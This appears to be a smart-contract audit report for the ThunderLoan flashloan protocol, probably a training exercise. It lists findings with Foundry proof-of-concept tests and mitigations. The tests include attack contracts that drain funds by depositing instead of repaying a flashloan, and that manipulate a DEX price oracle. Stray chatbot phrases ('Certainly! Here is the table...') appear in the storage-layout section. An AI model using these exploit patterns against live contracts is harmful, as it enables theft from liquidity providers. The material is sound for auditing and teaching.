Protocol Audit Report

Version 1.0

Tim Sigl

July 1, 2024

Protocol Audit Report

Tim Sigl

2024-06-28

Prepared by: Tim Sigl Lead Security Researcher:

- Tim Sigl

Table of Contents

Protocol Summary

The ThunderLoan protocol is a decentralized flashloan protocol. Flashloan are uncollateralized loans that need to be repaid in the same transaction. The liquidity of the protocol is provided by liquidity providers who deposit assets into the protocol and gain fees based on the amount of assets they provided. The protocol is upgradable and has a fee of 0.3% for every flashloan taken.

Disclaimer

The Tim-team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond with the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
```

```
10 #-- upgradedProtocol
11     #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

The security review for the ThunderLoan protocol was conducted by Tim Sigl. The review was focused on identifying security vulnerabilities in the smart contracts and the overall architecture of the protocol. The review was conducted between June 24, 2024, and June 27, 2024. The review was based on the commit hash 8803f851f6b37e99eab2e94b4690c8b70e26b3f6.

Issues found

Severity	Number of Findings
High	3
Medium	3
Low	4
Info & Gas	10
Total	20

Findings

High

[H-1] Faulty fee update in `ThunderLoan:deposit` causes exchange rate to be updated without collecting fees

Description: The exchange rate is the rate for which liquidity providers can exchange asset tokens for underlying tokens. When fees are collected, the exchange rate is updated so that LPs get more underlying tokens for their asset tokens. However, `ThunderLoan:deposit` updates the exchange rate without collecting any fees. This causes the protocol to think it has more fees than it actually has and blocks redemptions in the case the user wants to redeem all of their asset tokens.

1 Found Instances

- Found in src/ThunderLoan.sol Line:148-157

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()
           ) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6  ->  assetToken.mint(msg.sender, mintAmount);
7  ->  uint256 calculatedFee = getCalculatedFee(token, amount);
8      assetToken.updateExchangeRate(calculatedFee);
9      token.safeTransferFrom(msg.sender, address(assetToken), amount);
10 }
```

Impact: The miscalculation of fees leads blocking of full redemptions. LPs can only redeem their deposit minus 3% fees.

Proof of Concept: The following concept demonstrates that a deposit cannot be fully redeemed. LPs should be able to fully redeem the liquidity they provided. In the case that loans were taken. LPs should even redeem their LP + 3% fee of every loan.

Code Snippet

Insert the following PoC test `ThunderLoanTest.t.sol`:

```
1  function testRedeemAfterDeposit() public setAllowedToken hasDeposits {
2          uint256 amountToRedeem = type(uint256).max;
3          AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
4          vm.startPrank(liquidityProvider);
5          thunderLoan.redeem(tokenA, amountToRedeem);
6          vm.stopPrank();
```

```
7
8           // ThunderLoan should have no balance of tokenA because all was
                redeemed
9           assertEq(tokenA.balanceOf(address(thunderLoan)), 0);
10          // LP should have no assetTokens because they redeemed all for
               tokenA
11          assertEq(assetToken.balanceOf(liquidityProvider), 0);
12      }
```

Recommended Mitigation:

Mitigation Example

```
1     function deposit(IERC20 token, uint256 amount) external revertIfZero(
          amount) revertIfNotAllowedToken(token) {
2         AssetToken assetToken = s_tokenToAssetToken[token];
3         uint256 exchangeRate = assetToken.getExchangeRate();
4         uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION
              ()) / exchangeRate;
5         emit Deposit(msg.sender, token, amount);
6 -       assetToken.mint(msg.sender, mintAmount);
7 -       uint256 calculatedFee = getCalculatedFee(token, amount);
8         assetToken.updateExchangeRate(calculatedFee);
9         token.safeTransferFrom(msg.sender, address(assetToken), amount);
10    }
```

[H-2] Contract upgrade introduces storage collision with `ThunderLoan::s_flashLoanFee`, `ThunderLoan::s_currentlyFlashLoaning`

Description: The order of declaration of variables was changed between the original and upgraded versions of the contract. Additionally the `ThunderLoan::s_feePrecision` variable was converted to a constant. This leads to a storage collision between the variable `ThunderLoan::s_flashLoanFee` which in now stored at storage slot 2 where previously the `ThunderLoan::s_feePrecision` was stored. The same applies to the `ThunderLoan::s_currentlyFlashLoaning` variable which is now stored at storage slot 3 where previously the `ThunderLoan::s_flashLoanFee` was stored.

Storage layout of the original `ThunderLoan`: Certainly! Here is the table with proper markdown spacing:

Name	Type	Slot	Offset	Bytes
s_poolFactory	address	0	0	20
s_tokenToAssetToken	mapping()	1	0	32

Name	Type	Slot	Offset	Bytes
s_feePrecision	uint256	2	0	32
s_flashLoanFee	uint256	3	0	32
s_currentlyFlashLoaning	mapping()	4	0	32

Storage layout of the upgraded `ThunderLoanUpgraded`: Certainly! Here is the table with proper markdown spacing:

Name	Type	Slot	Offset	Bytes
s_poolFactory	address	0	0	20
s_tokenToAssetToken	mapping	1	0	32
s_flashLoanFee	uint256	2	0	32
s_currentlyFlashLoaning	mapping	3	0	32

The storage layouts were generated by running `forge inspect Token storage-layout --pretty`

1 Found Instances

- Found in src/protocol/ThunderLoan.sol Line:97-100

```
1 uint256 private s_feePrecision;
2 uint256 private s_flashLoanFee; // 0.3% ETH fee
3
4 mapping(IERC20 token => bool currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line:97-100

```
1 uint256 private s_flashLoanFee; // 0.3% ETH fee
2 uint256 public constant FEE_PRECISION = 1e18;
3
4 mapping(IERC20 token => bool currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

Impact:

When reading mentioned variables in the upgraded contract, wrong values are read from storage, resulting in unexpected behavior and potential security vulnerabilities.

Proof of Concept:

1. Get the fee in the original ThunderLoan contract
2. Upgrade the contract to ThunderLoanUpgraded
3. Get the fee in the upgraded ThunderLoanUpgraded contract
4. Compare the fees and assert that they are different

Code Snippet

Insert the following PoC test `ThunderLoanTest.t.sol`:

```
function testUpgradeBreaksStorageSlots() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();
        console.log("Fee before upgrade: ", feeBeforeUpgrade);
        console.log("Fee after upgrade: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

Recommended Mitigation:

Mitigation Example

First, do not change the order of variables when upgrading a contract. Second, when converting a variable to a constant, insert a placeholder at the storage slot where the variable was previously stored.

```
  uint256 private s_feePrecision;
+ uint256 public storageSlotPlaceholder;
+ uint256 public constant FEE_PRECISION = 1e18; // It doesn't really
    matter where this constant is declared, but for better readability
    the original place is kept
  uint256 private s_flashLoanFee; // 0.3% ETH fee
- uint256 public constant FEE_PRECISION = 1e18;

  mapping(IERC20 token => bool currentlyFlashLoaning) private
     s_currentlyFlashLoaning;
```

[H-3] Using `ThunderLoan::deposit` instead of `ThunderLoan::repay` to repay flashloans enables attackers to steal funds

Description: Flashloans need to be repaid to the protocol. Whether the user has repaid their flashloan is determined based on the balance of the loaned token in the asset token contract. If repaid successfully, the balance of the loaned token is higher than before the flashloan was taken because the fees are added on top. But there is a second way of increasing the balance of the loaned token. That is by depositing the loaned token into the protocol. This way the balance of the loaned token is increased by the amount deposited and the flashloan is considered repaid. Unlike when using `repay` the user get asset tokens when depositing the loaned tokens. The asset tokens can be redeemed for underlying tokens. The attacker is able to get free underlying tokens by depositing the loaned tokens into the protocol.

Impact: The protocol gets drained of underlying tokens and therefore breaking the protocol.

Proof of Concept:

1. The attacker takes a flashloan
2. The attacker deposits the loaned tokens into the protocol
3. The attacker redeems the asset tokens for underlying tokens

Code Snippet

Paste the following test and contract in `ThunderLoanTest.t.sol`:

```
1  function testUseDepositInsteadOfRepayToStealFunds() public
       setAllowedToken hasDeposits {
2          vm.startPrank(user);
3          uint256 amountToBorrow = 50e18;
4          uint256 fee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
5          DepositeOverRepay dor = new DepositeOverRepay(address(
               thunderLoan));
6          tokenA.mint(address(dor), fee);
7          thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
               ;
8          dor.redeemMoney();
9          vm.stopPrank();
10
11         assert(tokenA.balanceOf(address(dor)) >= 50e18 + fee);
12     }
13
14 contract DepositeOverRepay is IFlashLoanReceiver {
15     ThunderLoan thunderLoan;
16     AssetToken assetToken;
17     IERC20 s_token;
18
```

```
19      constructor(address _thunderLoan) {
20          thunderLoan = ThunderLoan(_thunderLoan);
21
22      }
23
24      function executeOperation(
25          address token, // e: Token to be borrowed
26          uint256 amount, // e: Amount to be borrowed
27          uint256 fee, // e: Fee to be paid
28          address /*initiator*/, // e: Address that initiated the flash
                loan
29          bytes calldata /*params*/ // e: Additional call data of the
                contract that implements the interface
30      ) external returns (bool) {
31          s_token = IERC20(token);
32          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
33          IERC20(token).approve(address(thunderLoan), amount + fee);
34          thunderLoan.deposit(IERC20(token), amount + fee);
35          return true;
36      }
37
38      function redeemMoney() public {
39          uint256 amount = assetToken.balanceOf(address(this));
40          thunderLoan.redeem(s_token, amount);
41
42      }
43  }
```

Recommended Mitigation: Block deposits while a flashloan is taken.

Medium

[M-1] Using TSwap as a price oracle leads to price and oracle manipulation attacks

Description: The TSwap DEX is used as a price oracle in `ThunderLoan.sol::getCalculatedFee` when calculating the fees for flashloans. In general it is not recommended to use a DEX as a price oracle because its price can be manipulated by attackers. In the case of ThunderLoan only the fee is depended on the oracle and not the exchange rate of the token itself which would be more critical.

1 Found Instances

- Found in src/protocol/OracleUpgradeable.sol Line:19-22

```
1  function getPriceInWeth(address token) public view returns (uint256) {
2      address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token
           );
3      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
4  }
```

Impact: The worst case scenario is that fees can be extremely lowered by attackers to take cheap flashloans. Liquidity providers might be disincentivized to provide liquidity because of the low fees. To little liquidity in the pools breaks the protocol since no flashloans can be taken anymore.

Proof of Concept:

1. The attacker takes a flashloan
2. With that flashloan the attacker buys a lot of weth in the weth/tokenA pool
3. The price of tokenA drops
4. Because the fee is depended on the weth price of tokenA, the fee is lower for all coming flashloans
5. The attacker takes another flashloan with significantly lower fees

Code Snippet

Place the following test and contract in `ThunderLoanTest.t.sol`:

```
    function testOracleManipulation() public {
        // 1. Setup all contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        // Create TSwap DEX pool between tokenA and WETH
        address tSwapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(tSwapPool, 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(tSwapPool, 100e18);
        BuffMockTSwap(tSwapPool).deposit(
            100e18,
            100e18,
            100e18,
            block.timestamp
        );
        // 100 weth and 100 tokenA -> 1:1 ratio
        vm.stopPrank();

        // 3. Fund ThunderLoan
        // 3.1 Allow tokenA
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // 3.2 Deposit tokenA
        vm.startPrank(liquidityProvider);
```

```
33          tokenA.mint(liquidityProvider, 1000e18);
34          tokenA.approve(address(thunderLoan), 1000e18);
35          thunderLoan.deposit(tokenA, 1000e18);
36          vm.stopPrank();
37          // ThunderLoan has 1000 tokenA that can be borrowed
38
39          // 4. Manipulate Oracle by taking out 2 flash loans and compare
                fees
40          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
41          console.log("Normal fee cost: ", normalFeeCost);
42          // 0.296147410319118389
43
44          uint256 amountToBorrow = 50e18;
45
46          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (
47              tSwapPool,
48              address(thunderLoan),
49              address(thunderLoan.getAssetFromToken(tokenA))
50          );
51
52          vm.startPrank(user);
53          // Mint tokens to cover the fees
54          tokenA.mint(address(flr), 100e18);
55          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
56          vm.stopPrank();
57          console.log("Attack fee cost", flr.feeOne() + flr.feeTwo());
58      }
59
60
61  contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
62      ThunderLoan thunderLoan;
63      address repayAddress;
64      BuffMockTSwap tSwapPool;
65      bool attacked;
66      uint256 public feeOne;
67      uint256 public feeTwo;
68
69      constructor(
70          address _twapPool,
71          address _thunderLoan,
72          address _repayAddress
73      ) {
74          tSwapPool = BuffMockTSwap(_twapPool);
75          thunderLoan = ThunderLoan(_thunderLoan);
76          repayAddress = _repayAddress;
77      }
78
79      function executeOperation(
```

```
80          address token, // e: Token to be borrowed
81          uint256 amount, // e: Amount to be borrowed
82          uint256 fee, // e: Fee to be paid
83          address /*initiator*/, // e: Address that initiated the flash
                loan
84          bytes calldata /*params*/ // e: Additional call data of the
                contract that implements the interface
85      ) external returns (bool) {
86          if (!attacked) {
87              feeOne = fee;
88              attacked = true;
89
90              uint256 wethBought = tSwapPool.getOutputAmountBasedOnInput(
91                  50e18,
92                  100e18,
93                  100e18
94              );
95              IERC20(token).approve(address(tSwapPool), 50e18);
96              // Will tank the price of tokenA because much weth is
                    bought
97              // Puts in 50 weth
98              // Because of the constant product formula, the price of
                    tokenA will drop priceWeth * priceTokenA = k
99              // Before: 100 * 100 = 10000 -> 1 weth = 1 tokenA
100             // After: 150 * 66.6 = 10000 -> 1 weth = 0.4 tokenA
101             // Because the fee is based of the weth price of tokenA,
                    the fee will be lower
102             tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(
103                 50e18,
104                 wethBought,
105                 block.timestamp
106             );
107             // Take out another flash loan
108             thunderLoan.flashloan(address(this), IERC20(token), amount,
                    "");
109             // Repay the first flash loan
110             // Doens't work because of the bug found that loans inside
                    of loans are not possible
111             // IERC20(token).approve(address(thunderLoan), amount);
112             // thunderLoan.repay(IERC20(token), amount + fee);
113             IERC20(token).transfer(repayAddress, amount + fee);
114         } else {
115             feeTwo = fee;
116             // Compare fees
117             // Repay the second flash loan
118             // Doens't work because of the bug found that loans inside
                    of loans are not possible
119             // IERC20(token).approve(address(thunderLoan), amount);
120             // thunderLoan.repay(IERC20(token), amount + fee);
121             IERC20(token).transfer(repayAddress, amount + fee);
122         }
```

```
123             return true;
124         }
125     }
```

Recommended Mitigation:

Mitigation Example

Use a more secure price oracle that is not manipulatable by attackers. Examples are Chainlink data feeds or Uniswap's TWAP oracle which is not fully immune to manipulation but harder and more expensive to manipulate.

[M-2] USDC denylisting Thunderloan would freeze all USDC funds in the protocol

Description: USDC is an upgradable contract which has the ability to denylist addresses. If the USDC contract denylists the Thunderloan contract, all USDC funds in the protocol would be frozen and could not be withdrawn anymore. Because the denylisting of ThunderLoan is a very unlikely event, it is only classified as medium severity.

Impact: All USDC funds in ThunderLoan would be frozen from withdrawal.

Recommended Mitigation: There is no good mitigation strategy other than removing USDC from the list of allowed tokens on ThunderLoan.

[M-3] Missing slippage protection on `ThunderLoan::deposit` and `ThunderLoan::redeem`

Description: The `ThunderLoan::deposit` and `ThunderLoan::redeem` functions do not have slippage protection. This means that the amount of asset tokens or underlying that the user receives by depositing underlying tokens or redeeming asset tokens can differ based on the exchange rate when the transaction is executed. This can lead to front-running attacks and users receiving less than expected.

Impact: Users might get less tokens than they expected. This can lead to a bad user experience and users losing money.

Recommended Mitigation:

Add a parameter to both functions where users can specify the minimum amount of tokens they want to receive. If the amount of tokens received is less than the minimum amount specified, the transaction should revert.

Mitigation Example

```
function deposit(IERC20 token, uint256 amount, uint256
    minAmountAssetTokens) external revertIfZero(amount)
    revertIfNotAllowedToken(token) {
.
.
if (mintAmount < minAmountAssetTokens)
revert ThunderLoan__SlippageProtection(mintAmount, minAmountAssetTokens
    );

}
```

```
function redeem(IERC20 token, uint256 amountOfAssetToken, uint256
    minAmountUnderlyingTokens) external revertIfZero(amount)
    revertIfNotAllowedToken(token) {
.
.
if (amountUnderlying < minAmountUnderlyingTokens)
revert ThunderLoan__SlippageProtection(amountUnderlying,
    minAmountUnderlyingTokens);

}
```

Low

[L-1] Risk of centralization of ThunderLoan because it is ownable

Description: The ThunderLoan contract is ownable. The functions `ThunderLoan::setAllowedToken`, `ThunderLoan::updateFlashLoanFee` and `ThunderLoan::_authorizeUpgrade` are only callable by the owner. This leads to a centralization risk because the owner could break the protocol by e.g. removing all allowed tokens.

Impact: A malicious owner could severely disrupt the protocol's functionality.

Recommended Mitigation:

- Consider removing the `ThunderLoan::setAllowedToken` and `ThunderLoan::updateFlashLoanFee` functions to make the protocol more decentralized.
- Consider using a multisig or DAO for the owner functions.

[L-2] Initializers can be frontrun potentially causing a loss of ownership

Description: `ThunderLoan::initialize` is a initializer that could potentially be frontrun and called by an attacker before the owner.

Impact: Frontrunning initializers could result in the attacker setting the owner to themselves. If unnoticed, the attacker could steal funds by upgrading the contract to one they own.

Recommended Mitigation: Make sure to implement a call to the initialize function in the deployment script to automatically initialize the contract on deployment.

[L-3] Cannot repay flashloan after of another flashloan

Description: `ThunderLoan::repay` checks if the user is currently flashloaning. If a flashloan in taken inside of another flashloan, the first repaid flashloan will set the `s_currentlyFlashLoaning` mapping to false. This will prevent the second flashloan from being repaid.

Impact: Taking flashloans inside of flashloans is not possible because the first flashloan will never be repayable, resulting in a revert.

Recommended Mitigation: `s_currentlyFlashLoaning` could be a counter that is increased by one when a flashloan is taken and decreased by one when a flashloan is repaid. This way multiple flashloans can be taken at the same time.

[L-4] `ThunderLoan::updateFlashLoanFee` should emit an event on update

Description: `updateFlashLoanFee` does not emit an event when the flashloan fee is updated making it difficult to track changes in the fee.

Impact: Off-chain fee tracking tools and user interfaces are unable to track changes to the fee.

Recommended Mitigation:

```
+ event FeeUpdated(uint256 indexed newFee);

  function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FeeUpdated(s_flashLoanFee);
  }
```

Informational

[I-1] Unused import `IFlashLoanReceiver::IThunderLoan`, move import to file were its actually used

The import `IFlashLoanReceiver::IThunderLoan` is not used in the `IFlashLoanReceiver` contract. It should be moved to the `MockFlashLoanReceiver.sol` where it is actually used.

[I-2] Missing natspec on important functions

- Add natspec to `IFlashLoanReceiver::executeOperation`
- Add natspec to `ThunderLoan::deposit`
- Add natspec to `ThunderLoan::flashloan`

[I-3] IThunderLoan Interface is not implemented anywhere

The `IThunderLoan` interface is not implemented in any contract. It seems like it should be implemented in the `ThunderLoan` contract. The repay function in the `ThunderLoan` contract has a different function signature than the one in the `IThunderLoan` interface.

[I-4] Add zero address check to `OracleUpgradeable::__Oracle_init_unchained`

A zero address check can prevent the contract from being initialized with a zero address.

[I-5] Remove unused custom error `ThunderLoan__ExhangeRateCanOnlyIncrease`

It is recommended that the definition be removed when custom error is unused

2 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 84

```
1       error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 84

```
1       error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-6] `ThunderLoan::s_feePrecision` should be a constant/immutable

The value is never changed and should be a constant/immutable.

Gas

[G-1] Store `s_exchangeRate` found in `AssetToken::updateExchangeRate` in a memory variable to reduce storage reads

[G-2] `ThunderLoan::repay` is not internally called and could be marked as external

[G-3] `ThunderLoan::getAssetFromToken` is not internally called and could be marked as external

[G-4] `ThunderLoan::isCurrentlyFlashLoaning` is not internally called and could be marked as external